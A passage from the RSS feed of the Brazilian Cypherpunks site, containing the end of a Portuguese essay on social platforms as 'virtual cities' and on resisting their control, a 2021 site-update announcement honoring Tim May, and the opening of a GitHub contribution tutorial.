&lt;p>A Cidade é nossa, a Cidade é a gente, ela nos foi roubada. E é nossa não nesse sentido ignorante de propriedade, é nossa porque a gente vive nela. A gente ama nela, anda nela, temos filhos nela, pintamos nela, nos inspiramos por ela e inspiramos ela, dormimos nela, plantamos nela. Nós a construímos, independente do nome está a escritura dos territórios. Propriedade é diferente de ocupação. O lugar é ocupado por quem está o ocupando — e se não tem ninguém, o lugar é de ninguém. Nós criamos cultura, arte, ensinamentos &lt;em>com&lt;/em> seu ambiente e &lt;em>pelo&lt;/em> seu ambiente.&lt;/p>
&lt;p>Quando roubam a Cidade, pintam nossos pixos, interrompem nossa educação fluída, eles não estão roubando algo de nós, como uma propriedade ou objeto. Entender que a Cidade é quem a ocupa é também entender que a propriedade é um roubo literal de quem está ocupando-a. Isso quer dizer que viver todo dia em um prédio, mas ter que pagar aluguel, é um roubo literal, não de algo que nos pertence, mas de nós mesmos. Mas isso não é eterno.&lt;/p>
&lt;p>A Cidade não é material. Ela não se pega, ela é a conexão entre os seres conscientes. Ultimamente, vivemos um processo revolucionário — e não há dúvida alguma dessa revolução — que nos depara à um novo mundo, como canta a gangue Mary Nardini. Esse novo mundo iniciou-se por nós, nós o construímos, e com o tempo foi roubada assim como um território. O mundo virtual é um conglomerado de Cidades, e seus territórios não são físicos, mas identitários.&lt;/p>
&lt;p>Se nos anos 90 podíamos contar nos dedos e listar as “tribos urbanas”, hoje não há lista que possa catalogar todas as tribos virtuais que existem. E elas continuam crescendo. A falta de limitação territorial nos fez ficarmos mais apegados à múltiplas identidades cibernéticas. A visão que temos sobre essas identidades perdem o valor pelo pragmatismo entre elas. Todas as identidades asseguram uma verdade única, que transforma as outras nas ignorantes. Não há só esquerda vs. direita, mas múltiplas outras micro guerras sociais que são encontradas até nos afunilamentos maiores de qualquer identidade.&lt;/p>
&lt;p>E aqui é bom decorrer, novamente, que o virtual não é diferente do “real”, tampouco o mundo que se emerge é um outro daquilo que vivíamos. Os mundos virtuais e não-virtuais dialogam entre si, se moldam entre si, de maneira qual se transformam em dois olhos de uma mesma visão, que se resulta em uma mesma coisa, mesmo cada um tendo uma ótica e perspectiva diferente.&lt;/p>
&lt;p>Um exemplo próximo é a eleição de 2018. Houve uma identidade virtual, a da nova direita, que foi se intensificando entre si mesma. Essa identidade virtual não foi criada por aqueles que se identificaram com ela, mas sim fabricada por uma propaganda inteligente. Usou-se algumas estruturas das redes sociais que facilitaram o uso das emoções e dos sentimentos em prol de uma posição política. Essa estrutura foi usada no compartilhamento em massa de notícias falsas e baits, iscas que atiçavam nossas raivas mais intimas. Esses baits ganharam popularidade e visibilidade pela estrutura algorítmica das próprias redes sociais. A estrutura, a arquitetura virtual, o ambiente em como ele é construído, educa.&lt;/p>
&lt;p>E então há essas Cidades Virtuais. Essas verdadeiras trocas de cultura, diálogo, reações e emoções. Esses espaços culturais repletos de tudo que poderia ter em um espaço cultural não-virtual. As pessoas podem transitar entre as Cidades várias no mundo cibernético, e transmitir o conhecimento que querem transmitir. O que pode ser frustrante, principalmente pela arquitetura dessas, mas é possível.&lt;/p>
&lt;p>As Cidades cibernéticas foram construídas não por limitações espaciais, mas por limitações identitárias. Gostamos de compartilhar as coisas com pessoas que consigam nos entender, isso nos vicia e nos tranca. Chamam de bolha algo parecido com isso, mas leva um tom pejorativo que não se cabe e parte de uma visão da existência das Cidades, por si, ser a razão da falta de transitividade entre elas. A criação das Cidades é inevitável no mundo sem fronteiras, dentro daquilo que definimos de Cidade.&lt;/p>
&lt;p>Há anos que o pronome neutro é usado. Desde quando comecei a entrar nos círculos LGBT, e isso presencialmente, me deparei com pessoas que preferiram o uso dele. E essas pessoas me ensinaram e eu aprendi. Era natural, via sendo usado, conseguia usar. Desde 2019, como se não tivesse mais nada a ser feito, virou um motivo de piada nacional. Foi impulsionado o compartilhamento de pessoas sendo irônicas e de postagens falsas para ridicularizar uma linguagem que faz parte de uma Cidade. As pessoas levantaram várias bandeiras para tal, justificativas que as faziam ser mais aceitas dentro de suas próprias Cidades. Virou um monstro onde as pessoas que usavam essa linguagem não podiam mais usa-la, pois sabiam que iriam ser anuladas completamente por isso. Foi uma repressão social, literalmente, para que continuemos a usar a sacra língua culta da sua forma mais pura e europeia.&lt;/p>
&lt;p>O mesmo motivo pelo qual a ridicularização do pronome neutro cresceu foi o motivo que elegeram o Bolsonaro em 2018: as Cidades Virtuais foram roubadas de nós. Nós a ocupamos todo dia, criamos arte, cultura, língua, estética, diálogo, romance, mas ela não é nossa. Ela é dessa entidade, do Facebook, da Meta, do Twitter, do Google. São instituições que sistematizam nossa vivência para gerar lucros. Que organizam nossas vidas para termos os exatos movimentos e reações que permitem maior visibilidade para anúncios. Que detém e protege propriedades assim como o Estado, mas agora propriedades que não são materiais, o &lt;em>copyright&lt;/em>, a propriedade intelectual. É tudo a mesma ferramenta de dominação, de educação, mas em um mundo recém-nascido. Por ser recém-nascido, entretanto, conseguimos uma oportunidade única de cortar antes que se espalhe por completo. Aprendendo a cortar, e como os mundos se dialogam, nossas visões sobre dominação e sua superação são moldadas.&lt;/p>
&lt;p>Há aqueles que, vendo o controle social dentro desses ambientes, decidem como ato revolucionário abdicá-los. Fechar as contas das redes sociais, “viver o mundo como ele é”. Isso é um ato, sobretudo, tolo. Serve para massagear o ego revolucionário tão presente nos nossos círculos sociais, mas efetivamente não resolve nada. Criar uma comuna afastada da cidade e se isolar lá não significa nada. Fugir da nossa cidade não a salva, apenas nos apaziguamos com a guerra social negando nosso contato a ela. Se essas plataformas que criamos, compartilhamos e vivemos todo dia, que pavimentam a nossa cidade, nos controlam e nos traem, se torna um dever ocupar elas de volta. A ocupação das redes sociais, as quebras de suas leis sagradas, a hacker-cultura interna. Pixar os muros das nossas Cidades Virtuais se torna essencial, mostrando que o lugar que ocupamos é nosso.&lt;/p>
&lt;h3 id="01010010-01000101-01010100-01010010-01001111-01000001-01001100-01001001-01001101-01000101-01001110-01010100-01000001-11000111-11000011-01001111">01010010 01000101 01010100 01010010 01001111 01000001 01001100 01001001 01001101 01000101 01001110 01010100 01000001 11000111 11000011 01001111&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="1*JlP_hRFmTS-Gz2malKRWsw.png" src="https://cypherpunks.com.br/stuff/1%2AJlP_hRFmTS-Gz2malKRWsw.png" loading="lazy"
width="1204" height="919"
/>
&lt;/p>
&lt;blockquote>
&lt;p>Noite pariu hediondo Lote, Sorte negra
e Morte, pariu Sono e pariu a grei de Sonhos.&lt;/p>
&lt;p>A seguir Escárnio e Miséria cheia de dor.
Com nenhum conúbio divina pariu-os Noite trevosa.&lt;/p>
&lt;p>As Hespérides que vigiam além do ínclito Oceano
belas maçãs de ouro e as árvores frutiferantes
pariu e as Partes e as Sortes que punem sem dó:
Fiandeira, Distributriz e Inflexível que aos mortais
tão logo nascidos dão os haveres de bem e de mal,
elas perseguem transgressões de homens e Deuses
e jamais repousam as Deusas da terrível cólera
até que dêem com o olho maligno naquele que erra.&lt;/p>
&lt;/blockquote>
&lt;p>— Hesíodo, Os Filhos da Noite. século VIII-VII a.C.&lt;/p>
&lt;p>Quando falo que o Meta, a empresa do Facebook, é uma instituição, falo com todos os aparatos que uma instituição pode ter. Ela é uma Escola, que nos ensina. Ela molda as nossas Cidades, e quem tem esse poder, tem o poder de moldar a nossa consciência e controlar nossa educação, nos tirando autonomia (assim como a Escola já faz presencialmente há anos, em especial nos países colonizados).&lt;/p>
&lt;p>E isso vai além. Se considerarmos as máquinas como extensão do nosso corpo, a Meta (que aqui é um exemplo entre outras instituições cibernéticas) não só demanda e prevê nossa ação enquanto perfil virtual, mas nossa ação enquanto corpo presente, pois nosso perfil virtual é nosso corpo presente. Ela controla nossas mentes nos drogando de dopamina para vermos anúncios, fazendo artistas seguirem um padrão específico de conteúdo que seja raso, mas que faz as pessoas passarem mais tempo em seus prédios virtuais.&lt;/p>
&lt;p>Ela não faz isso porque é malvada. Ela faz isso porque gera lucro. E muito menos digo que a solução é fugir da Cidade Virtual. Ninguém foge de São Paulo por que se vê dominado lá, a solução é a ação quanto a isso, e ela não ocorre fugindo, mas se opondo e criando. A pixação online é a nossa maior ferramenta. Criando educação é que se luta contra a educação monopolizada. Transitando entre mundos é que se luta contra o pragmatismo e os muros que são levantados a nós.&lt;/p>
&lt;p>A Meta molda nossa visão de mundo assim como nossa visão de si. O Twitter vem moldando fortemente nos últimos tempos a maneira em que pensamos e dialogamos. Não há educação ou diálogo algum na troca de frases curtas, somos impulsionados à criação de slogans e frases de efeito sem profundidade. Os slogans e as frases de efeito que mais ganham engajamento são os que mais ficam visíveis e, portanto, educam mais gente. Esse engajamento é ganhando pela atração sentimental. Frases com comentários preconceituosos, que atacam a vivência de outra pessoa, ganham mais visibilidades que os que não atacam ninguém. O ataque em grupo também é facilitado pela estrutura da rede. Falam sobre a cultura do cancelamento, tão temida, e culpam as gerações pela tal. Mas não conseguem ver que é apenas maneira que o rio corre no chão metálico construído do Twitter, construído para gerar lucros. A estrutura, a arquitetura, educa.&lt;/p>
&lt;p>Postagens no Facebook ganham engajamento quando são fotos e há um grande nível de compartilhamento em comum, e também um número de reações alto. A palavra “reação” não poderia ser mais justa. É o uso de nossos sentimentos e emoções, novamente, que qualificam o conteúdo. Quanto mais ele é emocional, mais ele é visível. É outro exemplo de como os conteúdos que nos causam raiva vão cada vez mais aparecer conforme nos engajamos a eles. Vão nos dar uma visão de mundo cheia de inimigos, e inimigos cada vez extremos, pois é o que vemos em cada rolagem do feed. E esses inimigos vão se solidificando e extremando conforme a guerra social avança. Pessoas de vermelho durante as eleições de 2018 apanharam na rua. Elas tendo ou não associação política, representaram esse personagem impulsionado pelas redes sociais, e esse personagem existe, é essa entidade mística criada da guerra, é o nosso Ares.&lt;/p>
&lt;p>Essas entidades virtuais controlam nossa visão de mundo, ou ao menos tem nas mãos o poder para tal. É literalmente isso. Elas detém todo o poder da educação e a usam para lucro, criando ambientes que brincam com nossas emoções e sentimentos, que geram uma visão que eles queiram de gerem. E eles usam um espaço nosso, um espaço que é a gente. Quem inventou a internet não foi o Google, quem inventou a interação cibernética não foi o Facebook. Eles roubaram esses espaços da gente, pois podiam. Eles vendem nossa raiva, lucram com nossas risadas, crescem nas nossas decepções. Foram crescendo ao ponto de virarem verdadeiras instituições cibernéticas. Acreditamos que não podemos viver sem eles, pois eles nos fazem acreditar nisso. Esquecemos que, apesar do mundo virtual existir, o Facebook ou o Google não existem. São, no fundo, pessoas mal pagas que mantém essas estruturas erguidas, e a maioria é contratada apenas para vigiar uns aos outros, assim como qualquer arquitetura de uma megaempresa, de uma fábrica de linha.&lt;/p>
&lt;p>Se pessoas construíram, as pessoas podem construir. E isso independe de estar abaixo de uma megaempresa ou não. Devemos ocupar propriamente as nossas próprias Cidades e usa-las como nossas, pois não só são nossas, como é a gente. É o lugar que cultivamos e amamos, que criamos. E no processo, vamos enfeitando, pixando, as Cidades Virtuais. Isso não é um projeto ou uma ideia, ou então um manifesto, mas sim uma &lt;em>manifestação&lt;/em>. Já ocorre, nós vemos ocorrendo.&lt;/p>
&lt;h3 id="01000100-01001111-01001101-01001001-01001110-01000001-11000111-11000011-01001111">01000100 01001111 01001101 01001001 01001110 01000001 11000111 11000011 01001111&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="1*cjfvQbCAKysvA_PUPGVavQ.png" src="https://cypherpunks.com.br/stuff/1%2AJlP_hRFmTS-Gz2malKRWsw.png" loading="lazy"
width="1204" height="919"
/>
&lt;/p>
&lt;blockquote>
&lt;p>Fudendo no banheiro do bar
Embriagados, gritando que a cidade é nossa
Fudendo no banheiro do bar
Embriagados, gritando que a cidade é nossa&lt;/p>
&lt;p>Te amo
Nosso ódio pelo mundo é parecido
Você nua pela casa é tão lindo
Bastou a gente fuder, eu vi, tava fudido
Transas contra o tédio de domingo&lt;/p>
&lt;/blockquote>
&lt;p>— Baco Exu do Blues, Te Amo Desgraça. 2017.&lt;/p>
&lt;p>As pessoas não entendem o animismo. De maneira direta, seria a filosofia ancestral, partida principalmente de algumas das mais sábias comunidades que pisaram nessa terra latino-americana e foram exterminadas, de que as coisas possuem alma. Essa definição direta é muito simplória para entender ela. Devemos entender o que é alma.&lt;/p>
&lt;p>A alma, se lida dentro da sua concepção individual e cristã, falha ao conceber a filosofia animista. A proposta que coloco é entendê-la como um rio. As águas sobem, descem, partem de lugares diferentes e estão em constante movimento. Nós somos uma parte desse rio, em conexão constante e fluxos aquáticos incessantes com as outras partes. A alma pode ser lido como a identidade. A diferenciação entre o individual e o coletivo, dentro dessa proposta animista, se torna tola. Não há diferença ao mesmo tempo que há toda a diferença, apenas a entendemos se sobressairmos e quebrarmos o muro que divide o eu com o resto. Entendendo, assim, que o resto passa por eu, assim como o eu passo pelo resto.&lt;/p>
&lt;p>Nós somos consumido pelas águas e a produzimos. Nós consumimos a comida, e depois cagamos ela. Células nascem e morrem, partes do corpo vem e vão. O nosso corpo de Teseu está em constante morte e destruição, e a vida e a morte é a mesma — só entendemos elas ao tirar suas dicotomias que somos ensinados a pensar. O que somos, a partir disso, se torna a mesma resposta para o que o universo todo é. E essa resposta é inacessível.&lt;/p>
&lt;p>Mas não só de alimentos que comemos e defecamos. Nossa produção é a própria defecagem da alma. É uma parte do nosso rio que devolvemos ao mundo. A arte, a música, a filosofia, esse texto. Esse processo tem que ser livre: não há como se segurar no rio, ou ir contra ele. A questão do animismo é importante ao dialogarmos sobre a questão transumanista e toda a filosofia inerente da figura do ciborgue.&lt;/p>
&lt;p>Se aquela frase clichê sobre sermos o que consumirmos for verdadeira, nossa identidade e o próprio corpo se torna expansivo. O que consumimos incluiria os produtos virtuais e as conexões cibernéticas que construímos. Se formos para a filosofia cristã que diz que somos quem acompanhamos, isso incluiria as relações que criamos pela internet. Se definirmos a ferramenta, desde o galho seco usado pelos primatas para alcançar uma fruta na copa de uma árvore até as maquinarias complexas como extensões do nosso potencial corpóreo, nós somos também as tecnologias cibernéticas — e elas constituem parte do nosso corpo.&lt;/p>
&lt;p>Quase que independe o pensamento: o mundo virtual é parte do nosso corpo real. Se é isso, controlar o virtual significa também controlar as pessoas, de maneira corpórea. Não é a toa que as mais sofisticadas técnicas de marketing virtual, que nos manipulam até em quem votamos e em quem damos poder financeiro, se constituem nos países que passaram por um processo secular de colonização, que acumulam anos de aprendizagem de como controlar os corpos a fazer o que eles não, inicialmente, querem.&lt;/p>
&lt;h3 id="01101001-01101110-01100110-01101001-01101110-01101001-01110100-01101111">01101001 01101110 01100110 01101001 01101110 01101001 01110100 01101111&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="0*mNaYPamII2Bu7WSG.jpg" src="https://cypherpunks.com.br/stuff/0%2AmNaYPamII2Bu7WSG.jpg" loading="lazy"
width="1400" height="787"
/>
&lt;/p>
&lt;blockquote>
&lt;p>A realização através dos estudos é expandir dia após dia
A realização através do Caminho é simplificar dia após dia
Simplificando e simplificando mais
Até alcançar a não-ação
Na não-ação não há o que não possa ser feito&lt;/p>
&lt;/blockquote>
&lt;p>— Lao Tse, Tao Te Ching. 350 e 250 a.C&lt;/p>
&lt;p>Talvez isso seja anticlimático, mas esse texto é incompleto. Eu comecei ele, pois queria impressionar um crush hacker-anarquista. Estava lendo muito Freire e não parava de associar o que vinha aprendendo no design e com o trabalho de Social Media com educação. Era uma associação que sempre me assombrou. Foi logo depois de cair no buraco de coelho dos textos da Mary Nardiny e ganhar esse novo entendimento do que é magia. Eu abandonei o texto por um tempo, achava que ele estava muito seco, precisava germinar.&lt;/p>
&lt;p>Ele foi crescendo e crescendo, mas nunca estava pronto. Eu estou num processo de luto, estou saindo da minha cidade, quis falar sobre isso. A parte de São Carlos foi a última que acrescentei. Eu percebi que ele virou um grande vômito de várias coisas, desse sentimento idealista e ao mesmo tempo mágico que as pessoas da minha idade compartilha.&lt;/p>
&lt;p>Acho que toda a questão é essa. Não há tanta diferença entre nossas cidades virtuais e “reais”. Precisa de um novo entendimento daquilo que está acontecendo. A Era de Aquário chegou, precisamos ficar atentos às estrelas.&lt;/p>
&lt;p>São muitas coisas aqui, muitas ideias, muitos conceitos. É tudo confuso, hipercomplexo e contraditório (também pra mim mesmo, que carrego esses vômitos comigo). De qualquer maneira, ainda acredito que se precise de um diálogo sobre toda essa revolução que estamos passando. Precisamos de outras visões, de mais visões, de múltiplas visões ao mesmo tempo, de contradições e de superações dessas contradições, para criarmos outras contradições. Sei lá, espero que tenha te feito sentir algo. Está livre para completar esse texto, se for de seu interesse.&lt;/p>
&lt;hr>
&lt;h3 id="algumas-coisas-interessantes-talvez-correlatas-à-essa-verborreia-mental-que-separei-para-escrever-sobre-mas-não-escrevi">Algumas coisas interessantes, talvez correlatas à essa verborreia mental, que separei para escrever sobre, mas não escrevi:&lt;/h3>
&lt;ul>
&lt;li>O livro &lt;a href="https://libgen.is/book/index.php?md5=F8D6EAF3915987AB484D5122BD4378DA" target="_blank" rel="noopener noreferrer">Exploratory Data Analysis&lt;/a>
escrito por John W. Tukey. É um livro que aborda uma visão bem interessante sobre matemática. Eu realmente queria integrar um pouco mais a filosofia e a matemática, em um diálogo, mas o trauma matemático que a educação formal me induziu ainda precisa de tempo pra ser superada.&lt;/li>
&lt;li>Outro livro matemático, que posterguei pelo mesmo motivo que o anterior, chamado &lt;a href="http://www.blackwire.com/~bjordan/The-Book-of-Numbers.pdf" target="_blank" rel="noopener noreferrer">The Book of Numbers&lt;/a>
, de John H. Conway e Richard K. Guy. Esse, ainda mais interessante, mostra um jogo matemático frequentemente chamado de “jogo da vida”. Compõe um movimento de caos matemático muito interessante, que queria me aprofundar mais.&lt;/li>
&lt;li>Esse artigo científico chamado &lt;a href="https://arxiv.org/ftp/arxiv/papers/1609/1609.02000.pdf" target="_blank" rel="noopener noreferrer">Cybernetic Cities: Designing and controlling adaptive and robust urban systems&lt;/a>
. Ele me convenceu trocar o que escrevia “Cidade Cibernética” por “Cidade Virtual”. Estou traduzindo esse artigo, mas tá sendo bem complicado, não me acostumei ainda com o inglês robusto acadêmico.&lt;/li>
&lt;li>Na parte que fala sobre construções sociais, queria falar mais sobre o &lt;a href="https://libgen.is/book/index.php?md5=ADF15F34BAAB0333EE31E112FCDC16C1" target="_blank" rel="noopener noreferrer">Categories We Live By : The Construction of Sex, Gender, Race, and Other Social Categories&lt;/a>
, da antropóloga Ásta (isso mesmo, ela só tem o primeiro nome). Acho que é o livro mais profundo que já li sobre papéis sociais. Estou traduzindo alguns trechos, mas há uma mesma dificuldade que o artigo anterior.&lt;/li>
&lt;li>Queria citar mais a &lt;a href="https://www.assisprofessor.com.br/documentos/livros/hesiodo_teogonia.pdf" target="_blank" rel="noopener noreferrer">Teogonia&lt;/a>
de Hesíodo. É a narração ancestral da criação e história dos deuses gregos, é uma fonte de inspiração bem forte e é tudo muito bonito. Há muita misoginia, clássica dos atenienses, mas explica muito bem a religião ancestral helenística e acredito que se vale por isso.&lt;/li>
&lt;li>Queria falar mais de Tao Te Ching, mas está sendo uma descoberta bem pesada pra mim mesmo os ensinamentos desse livro e acredito que falta ainda ser digerido pelo meu estômago antes de falar mais sobre.&lt;/li>
&lt;li>Sempre quero colocar o &lt;a href="https://vimeo.com/513003551" target="_blank" rel="noopener noreferrer">X-MANAS&lt;/a>
nas coisas que escrevo. É um curta que mais expressa essa cultura transfuturista, ciborgue, entre as pessoas LGBT, em especial vinda do movimento travesti. Sempre quero colocar em tudo, mas nunca acho que o que faço é bom o suficiente para equipara a uma menção à elas.&lt;/li>
&lt;li>As imagens que ilustram o texto são do designer visual Rob Sheridan para a banda &lt;a href="https://rob-sheridan.com/design/how-to-destroy-angels/" target="_blank" rel="noopener noreferrer">How To Destroy Angels&lt;/a>
. Nunca ouvi a banda, mas me inspiro muito no designer.&lt;/li>
&lt;li>Agora que estou pra sair do meu trabalho, aqui na UPA, está me vindo uma sede bem grande para falar sobre saúde. Acho que minha visão partiria um pouco do que o Ivan Illich escreveu e disse sobre. Está me interessando muito a naturologia, a medicina indígena e a tradicional chinesa. Mas ainda é muito novo, acho que não conseguiria, ainda, falar muito sobre, mas sei que há uma relação nisso tudo.&lt;/li>
&lt;li>Eu vi Matrix 4 logo depois de publicar isso, e eu acho que a Lana passou por esses mesmos dilemas de alguma maneira. Tudo isso poderia ser sobre Matrix 4, na verdade.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Feliz aniversário Tim May, esperamos retribuir o presente que nos deu</title><link>https://cypherpunks.com.br/documentos/aniversario-tim-may/</link><pubDate>Tue, 21 Dec 2021 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/aniversario-tim-may/</guid><description>Sobre o site.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Revisado por: Peixe Lua, Spark, Turing, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="vinicius-yaunner">Vinicius Yaunner&lt;/h2>
&lt;p>&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/anuncio.png" loading="lazy"
width="1080" height="1120"
/>
&lt;/p>
&lt;p>Talvez alguns aqui já tinham notado algumas mudanças que ocorreram no projeto. Em comemoração ao aniversário de &lt;strong>Tim May&lt;/strong> nós do &lt;a href="https://cypherpunks.com.br/">Cypherpunks Brasil&lt;/a>
resolvemos atualizar o site e atualizar vocês de forma oficial sobre tudo que ocorreu e está ocorrendo com o projeto.&lt;/p>
&lt;h2 id="timothy-c-may">Timothy C. May&lt;/h2>
&lt;p>Primeiramente quem foi &lt;strong>Tim May&lt;/strong>? Tim foi um dos fundadores do movimento cypherpunks, termo cunhado por &lt;strong>Jude Milhon&lt;/strong>. Junto com &lt;strong>Eric Hughes&lt;/strong> e &lt;strong>John Gilmore&lt;/strong> atuou ativamente no grupo de e-mail onde transcreveu um manifesto que havia discursado na reunião de fundação em 1992 que ficou chamado de &lt;em>&lt;a href="https://cypherpunks.com.br/documentos/o-manifesto-criptoanarquista/">O Manifesto Criptoanarquista&lt;/a>
&lt;/em>, que, assim como o &lt;em>&lt;a href="https://cypherpunks.com.br/documentos/o-manifesto-cypherpunk/">O Manifesto Cypherpunk&lt;/a>
&lt;/em> foi um dos textos essenciais para a criação do pensamento cypherpunk. Infelizmente, ele veio a nos deixar em 15 de dezembro de 2018, porém, suas ideias assim como a dos outros membros do início do projeto perduram até hoje e nos fazem caminhar por um amanhã melhor.&lt;/p>
&lt;h2 id="o-site">O site&lt;/h2>
&lt;p>O site já passou por 3 versões diferentes, com essa será a 4ª versão fazendo um layout novo e com uma paleta de cores nova. Resolvemos mudar para o framework &lt;strong>&lt;a href="https://gohugo.io/" target="_blank" rel="noopener noreferrer">Hugo&lt;/a>
&lt;/strong> que usa a linguagem &lt;strong>Go&lt;/strong> por questões de estruturação nova do site e também pela facilidade que ele traz em certas coisas como na estrutura dos textos que ainda estão sendo formatados em &lt;a href="https://www.markdownguide.org/getting-started/" target="_blank" rel="noopener noreferrer">Markdown&lt;/a>
. Colocamos também a possibilidade de mudar o tema entre claro ou escuro, as cores em si do site, a fonte dos textos. O site ainda poderá passar por mudanças, é um projeto contínuo que pode até ir devagar, mas nunca parou.&lt;/p>
&lt;h2 id="contribuidores">Contribuidores&lt;/h2>
&lt;p>Fizemos uma lista de contribuidores que pode ser vista no &lt;strong>&lt;a href="https://cypherpunks.com.br/about/">sobre&lt;/a>
&lt;/strong> do projeto, caso seu nome não esteja lá ou deseje remover basta falar com um de nós que faremos isso. Colocamos também nos textos quem participou dele revisando, escrevendo ou traduzindo.&lt;/p>
&lt;h2 id="nossa-biblioteca">Nossa biblioteca&lt;/h2>
&lt;p>Nossa biblioteca agora está maior e agora aceitando textos próprios. Também veio com uma organização nova e uma nova estrutura em markdown. Possui uma nova leva de textos sobre &lt;strong>&lt;a href="https://cypherpunks.com.br/tags/criptoanarquia/">criptoanarquismo&lt;/a>
, &lt;a href="https://cypherpunks.com.br/tags/tecnologia/">tecnologia&lt;/a>
, &lt;a href="https://cypherpunks.com.br/tags/agorismo/">agorismo&lt;/a>
, &lt;a href="https://cypherpunks.com.br/tags/anarquismo/">anarquismo&lt;/a>
entre outros temas&lt;/strong>. No próximo tópico a estrutura será apresentada em detalhes..&lt;/p>
&lt;h2 id="estrutura-dos-textos-para-ir-pro-site">Estrutura dos textos para ir pro site&lt;/h2>
&lt;p>No repositório &lt;a href="https://github.com/cypherpunksbr/documentos" target="_blank" rel="noopener noreferrer">documentos&lt;/a>
é onde estarão os textos para traduzir, para revisar e os que já foram publicados, seguindo essa estrutura:&lt;/p>
&lt;pre tabindex="0">&lt;code>.
├── para revisar
├── para traduzir
├── publicados
├── sendo revisados
├── sendo traduzidos
├── stuff
│ └── author_profilepicture
└── wiki
└── img
&lt;/code>&lt;/pre>&lt;p>Você pode obter mais informações sobre &lt;strong>&lt;a href="https://github.com/cypherpunksbr/documentos/blob/main/CONTRIBUIR.md" target="_blank" rel="noopener noreferrer">como contribuir&lt;/a>
&lt;/strong> e caso deseje submeter um texto ao site, o coloque em &lt;strong>&lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20revisar" target="_blank" rel="noopener noreferrer">para revisar&lt;/a>
&lt;/strong>.&lt;/p>
&lt;h2 id="artes">Artes&lt;/h2>
&lt;p>Começamos a desenvolver um projeto de artes de uso público, onde qualquer um pode enviar ou pegar alguma arte que esteja lá e usar como achar melhor. Você poderá vê-las no &lt;strong>&lt;a href="https://cypherpunks.com.br/artes/">site&lt;/a>
&lt;/strong> ou no &lt;strong>&lt;a href="https://github.com/cypherpunksbr/artes" target="_blank" rel="noopener noreferrer">repositório do Github&lt;/a>
&lt;/strong>. Para submeter a sua arte, basta criar uma pasta no repositório e as enviar na pasta, assinando sua pasta como bem entender.&lt;/p>
&lt;h2 id="heading">&lt;/h2>
&lt;hr>
&lt;p>Esse ano aconteceu bastante coisa, tanto no mundo quanto no projeto. Gostaríamos de entregar o novo site como forma de presente, a todos que participaram do nosso &lt;strong>&lt;a href="https://t.me/CypherpunksBrasil" target="_blank" rel="noopener noreferrer">canal&lt;/a>
&lt;/strong>, interagiram em nosso &lt;strong>grupo&lt;/strong> no telegram, bem como aos que participaram dando dicas, traduzindo, revisando e escrevendo textos. E agradecemos de forma especial aos que contribuíram praticando a criptoanarquia e o agorismo em tempos de pandemia. Muito obrigado, feliz natal e boas festas.&lt;/p>
&lt;p>Nós da &lt;strong>&lt;a href="https://cypherpunks.com.br/">Cypherpunks Brasil&lt;/a>
&lt;/strong> desejamos um próspero ano novo a todos vocês!!&lt;/p></content:encoded></item><item><title>Tutorial de uso do Github via website</title><link>https://cypherpunks.com.br/documentos/wiki-gitub-browser/</link><pubDate>Tue, 02 Nov 2021 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/wiki-gitub-browser/</guid><description>Tutorial de Github pelo browser para fluxo de contribuições no repositório do Cypherpunks Brasil</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="tutorial-de-uso-do-github-via-website">Tutorial de uso do Github via website&lt;/h1>
&lt;h2 id="fluxo-básico-de-contribuição">Fluxo básico de contribuição&lt;/h2>
&lt;p>No Github você só pode alterar projetos que você mesmo tenha criado, ou seja, somente os repositórios que estiverem em &lt;code>github.com/seu-nome-de-usuário/nome-do-seu-projeto&lt;/code> poderão ser alterados diretamente por você. De qualquer forma, isso não te impede de enviar contribuições para projetos criados por outras pessoas. Por exemplo, para contribuir com o nosso projeto, em vez de ir até o repositório original &lt;code>github.com/cypherpunksbr/documentos&lt;/code>, você precisará:&lt;/p>
&lt;ul>
&lt;li>Fazer uma cópia (&lt;a href="#criando-um-fork">Fork&lt;/a>
) desse repositório&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Após o &lt;a href="#criando-um-fork">Fork&lt;/a>
, você terá uma cópia exata do repositório original &lt;code>github.com/cypherpunksbr/documentos&lt;/code> que estará em &lt;code>github.com/seu-nome-de-usuário/documentos&lt;/code>&lt;/p>
&lt;/blockquote>
&lt;ul>
&lt;li>
&lt;p>Criar uma &amp;ldquo;área de trabalho&amp;rdquo; (&lt;a href="#criando-uma-nova-branch">Branch&lt;/a>
) para fazer suas alterações&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Fazer as alterações &lt;strong>na sua cópia&lt;/strong> &lt;code>github.com/seu-nome-de-usuário/documentos&lt;/code> e &lt;strong>dentro da branch&lt;/strong> criada no passo anterior&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&amp;ldquo;Enviar&amp;rdquo; suas alterações através de uma &lt;a href="#criando-um-pull-request">Pull Request (PR)&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>A seguir você encontra um tutorial de como executar cada um desses passos diretamente pelo site do Github.&lt;/p>
&lt;blockquote>
&lt;p>Este tutorial foi desenvolvido com base na &lt;a href="https://docs.github.com/en/repositories/working-with-files" target="_blank" rel="noopener noreferrer">documentação oficial do Github&lt;/a>
. Você pode encontrar mais informações lá.&lt;/p>
&lt;/blockquote>
&lt;h2 id="índice">Índice&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#criando-um-fork">Criando um fork&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#criando-uma-nova-branch">Criando uma nova Branch&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#renomeando-e-movendo-arquivos">Renomeando e movendo arquivos&lt;/a>
&lt;/li>
&lt;li>&lt;a href="#criando-um-pull-request">Criando um Pull Request&lt;/a>
&lt;/li>
